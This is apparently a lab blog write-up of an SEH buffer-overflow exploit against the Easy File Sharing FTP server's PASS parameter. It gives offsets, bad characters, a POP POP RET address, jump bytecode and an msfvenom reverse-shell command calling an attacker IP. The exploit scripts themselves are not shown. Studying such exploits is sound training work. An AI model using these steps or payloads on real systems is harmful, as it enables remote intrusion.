EasyFileSharing FTP SEH Buffer Overflow

This is another FTP Remote Buffer Overflow that is not as simple as the FreeFTP BOF example from the last post. The major difference is that we will use the Structured Exception Handler (SEH) to direct program flow since we cannot overflow the EIP register and write shellcode thereafter. Before we dig in, here are the binaries and my setup:

Very Detailed Writeup on SEH Buffer Overflows

Exploitable Binary: https://www.exploit-db.com/apps/0efddb6d04f4125d7c1f104c6b1c60a0-efsfs.exe
ExploitDB POC: https://www.exploit-db.com/exploits/33538/

Victim Machine:

Attacker Machine:

  • Kali 2018.1 (PWK Image) 32 bit

[hr]

Exceptions:

Let’s take a second and talk about exceptions and exception handling. Most of us have written some code in a professional or personal capacity and as such, have encountered a number of methods to handle software exceptions. Exceptions being unforeseen circumstance or circumstances in which the code isn’t designed to handle properly. Windows has Structured Exception Handling chains which, long story short, attempts to find the most appropriate response to an exception in order to shut down or kill the process cleanly by going through the SEH chain to find a suitable handler. The Writeup I provided above does a phenomenal job at describing SEH and how to exploit it in a general sense.

[hr]

Fuzzing:

Reviewing the NIST NVD CVE-2006-3952 we can see it’s the PASS parameter that is susceptible to the overflow so, that’s where we will start our exploit. But, before writing any code, I need to mention one last thing. The Easy File Sharing FTP PASS parameter does not overflow when given a large amount of data. It overflows when a special character is present at the front of the overflow data. In this case a “,” or 0x2c. In attempting to understand why we need a 0x2c, I started talking to the original exploit writer. Here is the Twitter Conversation. Long story Short, he found it during fuzzing the application with Peach. Peach is definitely something I need to learn how to use. Anyhow, let’s look at the exploit code so far.

Our payload (buf) starts with a 0x2c to trigger the exception and therefore setting the SEH chain in action in attempts to recover or exit the process cleanly. However, we also supplied 2800 A’s (ox41) which, overflows the SEH handler and address. Let’s take a closer look at the crash itself.

[hr]

Reviewing the Crash:

When we run the python script, the program hangs (as expected). But let’s take a look at the before and after of both the register values and the SEH chain addresses.

NOTE: To view the SEH Chain in Immunity (view–> SEH Chain or alt+s)

BEFORE

SEH Addresses Before Overflow

Register Values Before Overflow

[hr_invisible]

AFTER

SEH Addresses After Overfloww

Register Values After Overflow

Sweet! We overwrote the SE Handler. This means that we can write our own address in the SE handler for address 0x0106ADD0 and possibly control execution flow. Another point to mention is the value of EAX. It looks like we overwrote EAX as well with our A’s.

[hr]

Controlling the SEH Address:

We need to find the offset of the SEH address that we overwrote. We are going to use the same exact method as we would in finding the offset of EIP by using a random pattern. However, instead of using the create_pattern.rb that’s native in Kali, let’s use the Mona script to do it for us.

  • !mona pc 3000
    • Generates 3000 bytes of data that we will plug into our script.

The new script now looks like this:

Execute the script and then, use Mona once again to check for the offsets.

  • !mona findmsp
    • This will find the cyclic pattern that we introduced in our overflow and calculate the offsets as shown below.

Find the Pattern Offsets

Here is what we found:

  • SEH offset: 2559
  • EAX Register offset: 2603

Fantastic! Let’s set those offsets as variables in our python script, overwrite the SEH address with B’s and see how many C’s we can write thereafter.

[hr]

Checking for Bad Characters:

We next need to check for bad characters. The code below will do two things:

  1. Generate a character array of bad characters excluding characters that are known to be bad (i.e., 0x00, 0x0a)
  2. Send the character array in the buffer overflow as well as save to a binary file on disk that can be transferred and use by Mona.

Once we send the new code to the FTP server, the server will throw an exception as usual and Immunity will pause the program and we can then investigate which characters, if any, are bad. So, we send the code and find the place in memory where our characters are located:

Characters in Memory

Upon initial investigation, it looks like all the characters we sent are there meaning the only two characters we should omit are the ox00 and ox0a. However, just to be safe, let’s use mona to check and verify our findings. We see that our chracters start at 0x0106AC04. We can point mona to this location in memory and issue the compare command where the bad_char.bin is an input.

Mona Bad Characters

Mona points out 0x01 is a possible bad character, however, we know from the image above that 0x01 is fine since the output (03020141) at memory location 0x0106AC04 displays it just fine. So, that means the only two characters that we will consider bad are 0x00 and 0x0a.

[hr]

Controlling Code Execution:

We’ve been able to overflow the PASS buffer, found the offset of the SEH handler (Of which we need to add 4 bytes to fill the address space), and are now ready to test if we can, in fact, write B’s into the SE Handler position.

After running the above script and looked at the SEH values again, we see that the SE handler has been overwritten with our four (4) B’s

Overwritten SEH

That’s Great but, let’s see what happens by hitting shft+F8 to move to the next instruction. We move a total of 5 instructions and EIP then changes to the SEH handlers address of B’s. This just further proves that we will be able to obtain code execution.

[hr]

POP POP RET:

In a simple stack buffer overflow, we would want to find an address with the instructions JMP ESP and use such an address to overwrite the EIP register to directory jump to our shellcode. With SEH, it’s a bit different. We are looking for a sequence of instructions POP POP RET. We also have to find a memory address with these instructions that have no bad characters and does not have ASLR or DEP protections. Lucky for us, the SSLEAY32.dll is perfect. We figured this out by using mona once again to review all loaded modules as seen below.

Mona Modules

Mona also makes it very simple to check for the pop pop ret. We tell mona to check for SEH pointers within the module SSLEAY32.dll: !mona seh -m ssleay32.dll

SEH Pointers with Mona

Looking at the results we grab an address that does not have bad characters and continue on. In this case, I will use 0x10017f21 to overwrite the SEH handler. Let’s modify our code to replace our B’s with the new POP POP RET address and review where it puts us in regards to our C’s (aka: future shellcode).

We run the code, and check the SEH handler address and would you look at that, it points to SSLEAY32.

SSLEAY32.dll SEH Handler Overwrite

By following the instructions (i.e., hitting SHFT+F8 and 4 subsequent F8’s) We can see where we will land in memory after the POP POP RET. It looks like it put us a few bytes above the start of our C’s. AWESOME! That’s where we are going to place our shellcode anyhow. First, take a look at the instruction we landed at AND DWORD PTR DS:[EDI+1], EDI. 

POP POP RET Landing

This needs to be taken into account as we are not going to jump directly to our shellcode since there are some junk instructions before where our shellcode will be placed. We can mitigate this by adding in a jmp command by decrementing 4 bytes from our A’s and adding in the x86 jmp instruction (in hex). We’re going to jump 10 bytes forward, into a nop sled that leads to our shellcode. First, let’s get the bytecode of our jmp 10. Looking at the X86 instruction set we can see that a short jump is hex EB and we want to jump 10 bytes so our new instruction is \xEB\x10\x90\x90. The two nop bytes at the end are used as we need a total of four bytes to fill the memory location.

[hr]

Catch a Shell:

Let’s generate some shellcode, add the jmp 10 instruction and the shellcode to our buf variable, at a 20-byte nop sled, and set up a netcat listener.

  • msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.21.130 LPORT=443 -b ‘\x00\x0a’ -f c

And…. We’re In!. That’s all she wrote.

Catching the Shell

No Comments

Post a Comment